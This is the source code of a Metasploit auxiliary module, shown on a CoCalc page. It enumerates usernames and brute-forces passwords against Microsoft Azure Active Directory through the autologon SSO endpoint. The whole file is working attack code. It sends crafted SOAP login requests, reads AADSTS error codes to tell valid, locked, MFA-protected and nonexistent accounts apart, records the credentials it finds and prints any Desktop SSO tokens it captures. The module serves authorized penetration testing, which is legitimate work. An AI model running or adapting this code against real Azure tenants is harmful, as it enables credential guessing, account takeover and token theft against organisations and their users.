CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/azure_ad_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::AuthBrute
10
11
def initialize
12
super(
13
'Name' => 'Microsoft Azure Active Directory Login Enumeration',
14
'Description' => %q{
15
This module enumerates valid usernames and passwords against a
16
Microsoft Azure Active Directory domain by utilizing a flaw in
17
how SSO authenticates.
18
},
19
'Author' => [
20
'Matthew Dunn - k0pak4'
21
],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'URL', 'https://raxis.com/blog/metasploit-azure-ad-login'],
25
[ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'],
26
[ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'],
27
],
28
'DefaultOptions' => {
29
'RPORT' => 443,
30
'SSL' => true,
31
'RHOST' => 'autologon.microsoftazuread-sso.com',
32
'PASSWORD' => 'password'
33
}
34
)
35
36
register_options(
37
[
38
OptString.new('RHOST', [true, 'The target Azure endpoint', 'autologon.microsoftazuread-sso.com']),
39
OptString.new('DOMAIN', [true, 'The target Azure AD domain']),
40
OptString.new('TARGETURI', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']),
41
]
42
)
43
44
deregister_options('VHOST', 'USER_AS_PASS',
45
'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies',
46
'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS',
47
'BLANK_PASSWORDS', 'RHOSTS')
48
end
49
50
def report_login(address, domain, username, password)
51
# report information, if needed
52
service_data = service_details.merge({
53
address: address,
54
service_name: 'Azure AD',
55
workspace_id: myworkspace_id
56
})
57
credential_data = {
58
origin_type: :service,
59
module_fullname: fullname,
60
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
61
realm_value: domain,
62
username: username,
63
private_data: password,
64
private_type: :password
65
}.merge(service_data)
66
login_data = {
67
last_attempted_at: DateTime.now,
68
core: create_credential(credential_data),
69
status: Metasploit::Model::Login::Status::SUCCESSFUL
70
}.merge(service_data)
71
72
create_credential_login(login_data)
73
end
74
75
def check_login(targeturi, domain, username, password)
76
request_id = SecureRandom.uuid
77
url = "https://#{rhost}/#{domain}#{targeturi}"
78
79
created = Time.new.inspect
80
expires = (Time.new + 600).inspect
81
82
message_id = SecureRandom.uuid
83
username_token = SecureRandom.uuid
84
85
body = "<?xml version='1.0' encoding='UTF-8'?>
86
<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>
87
<s:Header>
88
<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
89
<wsa:To s:mustUnderstand='1'>#{url}</wsa:To>
90
<wsa:MessageID>urn:uuid:#{message_id}</wsa:MessageID>
91
<wsse:Security s:mustUnderstand=\"1\">
92
<wsu:Timestamp wsu:Id=\"_0\">
93
<wsu:Created>#{created}</wsu:Created>
94
<wsu:Expires>#{expires}</wsu:Expires>
95
</wsu:Timestamp>
96
<wsse:UsernameToken wsu:Id=\"#{username_token}\">
97
<wsse:Username>#{username.strip.encode(xml: :text)}@#{domain}</wsse:Username>
98
<wsse:Password>#{password.strip.encode(xml: :text)}</wsse:Password>
99
</wsse:UsernameToken>
100
</wsse:Security>
101
</s:Header>
102
<s:Body>
103
<wst:RequestSecurityToken Id='RST0'>
104
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
105
<wsp:AppliesTo>
106
<wsa:EndpointReference>
107
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
108
</wsa:EndpointReference>
109
</wsp:AppliesTo>
110
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
111
</wst:RequestSecurityToken>
112
</s:Body>
113
</s:Envelope>"
114
115
res = send_request_raw({
116
'uri' => "/#{domain}#{targeturi}",
117
'method' => 'POST',
118
'vars_get' => {
119
'client-request-id' => request_id
120
},
121
'data' => body
122
})
123
124
unless res
125
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
126
end
127
128
@target_host ||= report_host(host: rhost, name: rhost, state: Msf::HostState::Alive)
129
130
# Check the XML response for either the SSO Token or the error code
131
xml = res.get_xml_document
132
xml.remove_namespaces!
133
134
if xml.xpath('//DesktopSsoToken')[0]
135
auth_details = xml.xpath('//DesktopSsoToken')[0].text
136
else
137
auth_details = xml.xpath('//internalerror/text')[0].text
138
end
139
140
if xml.xpath('//DesktopSsoToken')[0]
141
print_good("Login #{domain}\\#{username}:#{password} is valid!")
142
print_good("Desktop SSO Token: #{auth_details}")
143
report_login(@target_host.address, domain, username, password)
144
:next_user
145
elsif auth_details.start_with?('AADSTS50126') # Valid user but incorrect password
146
print_good("Password #{password} is invalid but #{domain}\\#{username} is valid!")
147
report_login(@target_host.address, domain, username, nil)
148
elsif auth_details.start_with?('AADSTS50056') # User exists without a password in Azure AD
149
print_good("#{domain}\\#{username} is valid but the user does not have a password in Azure AD!")
150
report_login(@target_host.address, domain, username, nil)
151
:next_user
152
elsif auth_details.start_with?('AADSTS50076') # User exists, but you need MFA to connect to this resource
153
print_good("Login #{domain}\\#{username}:#{password} is valid, but you need MFA to connect to this resource")
154
report_login(@target_host.address, domain, username, password)
155
:next_user
156
elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded
157
print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
158
report_login(@target_host.address, domain, username, nil)
159
elsif auth_details.start_with?('AADSTS50034') # User does not exist
160
print_error("#{domain}\\#{username} is not a valid user")
161
elsif auth_details.start_with?('AADSTS50053') # Account is locked
162
print_error("#{domain}\\#{username} is locked, consider taking time before continuing to scan!")
163
:next_user
164
elsif auth_details.start_with?('AADSTS50057') # User exists, but is disabled so we don't report
165
print_error("#{domain}\\#{username} exists but is disabled; it will not be reported")
166
:next_user
167
else # Unknown error code
168
print_error("Received unknown response with error code: #{auth_details}")
169
end
170
end
171
172
def run
173
each_user_pass do |cur_user, cur_pass|
174
check_login(datastore['TARGETURI'], datastore['DOMAIN'], cur_user, cur_pass)
175
end
176
end
177
end
178
179